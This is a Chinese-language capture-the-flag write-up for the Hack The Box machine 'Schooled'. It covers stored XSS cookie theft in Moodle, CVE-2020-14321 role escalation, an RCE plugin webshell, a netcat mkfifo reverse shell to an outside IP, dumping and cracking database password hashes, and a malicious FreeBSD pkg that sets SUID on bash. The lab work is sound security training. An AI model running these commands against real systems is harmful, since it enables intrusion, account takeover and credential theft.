Hackthebox - Schooled
Hackthebox - Schooled 靶场实战
靶场信息

靶场类型

信息搜集
首先使用nmap进行端口扫描
nmap -A -sS -sC -sV 10.10.10.234

我们可以看到,这台靶机开启了22和80端口,咱们的目光依然放到80端口上
首先访问一下80端口的http服务

在底部看到一个schooled.htb,那估计是要解析了,咱们直接先加上吧

在手动浏览以及dirb目录爆破的时候,都没有在web页面中找到啥有趣的东西
咱们结合一下上面看到的提示有一个schooled.htb域名以后,突然来了思路
这不就跟咱们做的Love那一台差不多吗?都是得从子域名入手
所以这个时候使用wfuzz工具进行fuzz

咱们这里发现有很多461行的相应,这明显是不对的,咱们把461行的相应屏蔽掉
wfuzz -c -u “http://schooled.htb/" -H “Host:FUZZ.schooled.htb” -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt –hl 461

咱们找到一个moodle子域名

咱们先修改一下hosts解析
去访问一下http://moodle.schooled.htb/

在这里咱们找到了几个老师的名字
数学老师:Jamie Borham
科学老师:Lianne Carter
信息技术:Jane Higgins
英语老师:Manuel Phillips
然后除了老师的名字和找到了登陆点以外,就没什么有意思的东西了

咱们首先创建个账号,错误有点多,咱们挨个解决

可算是注册好了,还挺麻烦

随便浏览了一下,发现我们只能报数学课(吐槽一下垃圾抢课系统,还好我不用)


我们还能看到老师的简介

我们发现老师有发布一条帖子,我用我的小学三年级靠个位数的天才英语给大家翻译一下
大概意思就是,这是一门自学课程(要老师干啥?),参加我(这位老师)课程的学生,确保设置好了MoodleNet个人资料。没设置的开始课程以后,会被踢出这门课程,老师会挨个儿查看报名该课程的学生
各位在座的盲生,发现了华点没有?
Nice,突破点就在老师表示会挨个检查我们的资料,这不就是确定100%会点击我们的资料了吗?那想到了什么?没错!XSS!


咱们修改好以后,可以看到老师上线了


哎嘿,经过测试,聊天框是可以用xss的
但却是一个反射型xss(国内某平台都不收的垃圾洞,吐槽一下),但是咱们证明了该网站是存在XSS的。结合我们之前的猜测,应该是在MoodleNet处插入xss
漏洞利用
https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md
这是我使用的xss cookie脚本,大家有习惯使用的也可以用自己的

咱们修改好脚本后使用python启动
然后在MoodleNet处插入我们的xss代码

咱们插入后保存,可以看到自己的cookie已经过来了,咱们挂着去听会儿音乐,老师的cookie就过来

好了,咱们已经成功钓到老师的cookie了

将咱们的cookie替换为老师的cookie
然后刷新

可以看到,已经成功进入老师的权限了
https://moodle.org/mod/forum/discuss.php?d=407393
我们在查找漏洞的时候,发现了这个CVE-2020-14321。
课程中的教师可以把自己的身份更改为经理,也就是越权

现在我们来进行又一次的越权吧


随便选择一个人,然后抓包,然后提交

成功抓到包了

咱们在介绍页面,发现Lianne Carter是一名经理,OK 那就越她
userlist改为24,因为咱们也是越权到老师的账号,所以要修改为老师的ID,而24就是老师的ID,roletoassign处是记录的权限,1为经理,咱们修改为1以后点击send


刷新以后,咱们可以看到,权限已经变成了经理

然后把Lianne Carter添加到学生里,这样我们就能看到 Lianne Carter了。
我之前就是没添加,在这卡了好久,靶机重置了三次
咱们点击Lianne Carter并登入该账号

咱们点击登录

然后咱们在最底下可以看到site administration
咱们点击
接下来咱们按照RCE里的套路跟着走就行




咱们在点save changes之前,记得抓包

然后替换RCE里的包

看来RCE执行成功了

上传咱们的EXP



访问http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block\_rce.php?cmd=id
成功拿到一个webshell
本地使用nc监听端口
nc -nvlp 4444
执行nc反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc 10.10.14.184 4444 > /tmp/f

成功使用nc反弹shell
权限提升

咱们使用pwd查看一下当前位置,发现是在apache目录下
也就是说,咱们拥有apache目录的权限
那就直接读取apache的配置文件吧
首先查找配置文件地址
find / -name “config.php” 2>dev/null
cat /usr/local/www/apache24/data/moodel/config.php
然后使用cat查看配置文件

我发现这么做好像有一点问题,咱们去修改一下RCE

https://github.com/LucifielHack/phpbash
咱们将里面的一句话木马修改为phpbash

成功得到账号密码
dbname = model
dbuser = model
dbpass = PlaybookMaster2020

我想使用mysql进行登录,但输入mysql后发现无法使用?
但上面已经看到了,使用了mysqli进行连接,那就肯定是存在mysql的。
但是为什么无法使用呢?我想应该是path里没有配置,咱们使用export查看一下

果然没有
然后我找了一下mysql的路径,咱们使用绝对路径来进行读取
/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e “use moodle;select * from mdl_user\G”

$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
其中咱们需要关注的是Jamie的密码hash,为什么呢?因为在/etc/passwd里也有他

既然咱们拿到一个hash了,那么就请出咱们的老朋友 john

爆破成功
密码为 !QAZ2wsx
咱们去登录

成功登录

成功拿到user权限flag
咱们使用sudo -l查看一下sudo权限

可以sudo权限安装pkg包
那不用说,提权思路肯定在这了
http://lastsummer.de/creating-custom-packages-on-freebsd/
找到一篇参考文章,接下来咱们构造EXP包
#!/bin/sh
STAGEDIR=~/stage
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
cat >> ${STAGEDIR}/+PRE_DEINSTALL <<EOF
careful here, this may clobber your system
echo “Resetting root shell”
pw usermod -n root -s /bin/sh
EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
careful here, this may clobber your system
echo “Registering root shell”
chmod +s /usr/local/bin/bash
EOF
cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: mypackage
version: “1.0_5”
origin: sysutils/mypackage
comment: “automates stuff”
desc: “automates tasks which can also be undone later”
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF
mkdir -p ${STAGEDIR}/usr/local/etc
echo “# hello world” > ${STAGEDIR}/usr/local/etc/my.conf
echo “/usr/local/etc/my.conf” > ${STAGEDIR}/plist
pkg create -m ${STAGEDIR}/ -r${STAGEDIR}/ -p ${STAGEDIR}/plist -o .

python3 -m http.server 80

在本地开启一个http服务
然后在服务器上用wget下。。。

嗯?卧槽?失策了,居然没有wget
测试了一下,vim也没有,但是有vi和nano
看大家喜欢用那个,反正直接创建就好了
创建好后记得添加执行权限
chmod +x exploit.sh

然后我们安装它
sudo /usr/sbin/pkg install –no-repo-update mypackage-1.0_5.txz


然后咱们使用SUID来攻击
bash -p

成功提权到root

成功获得root权限的flag
收工睡觉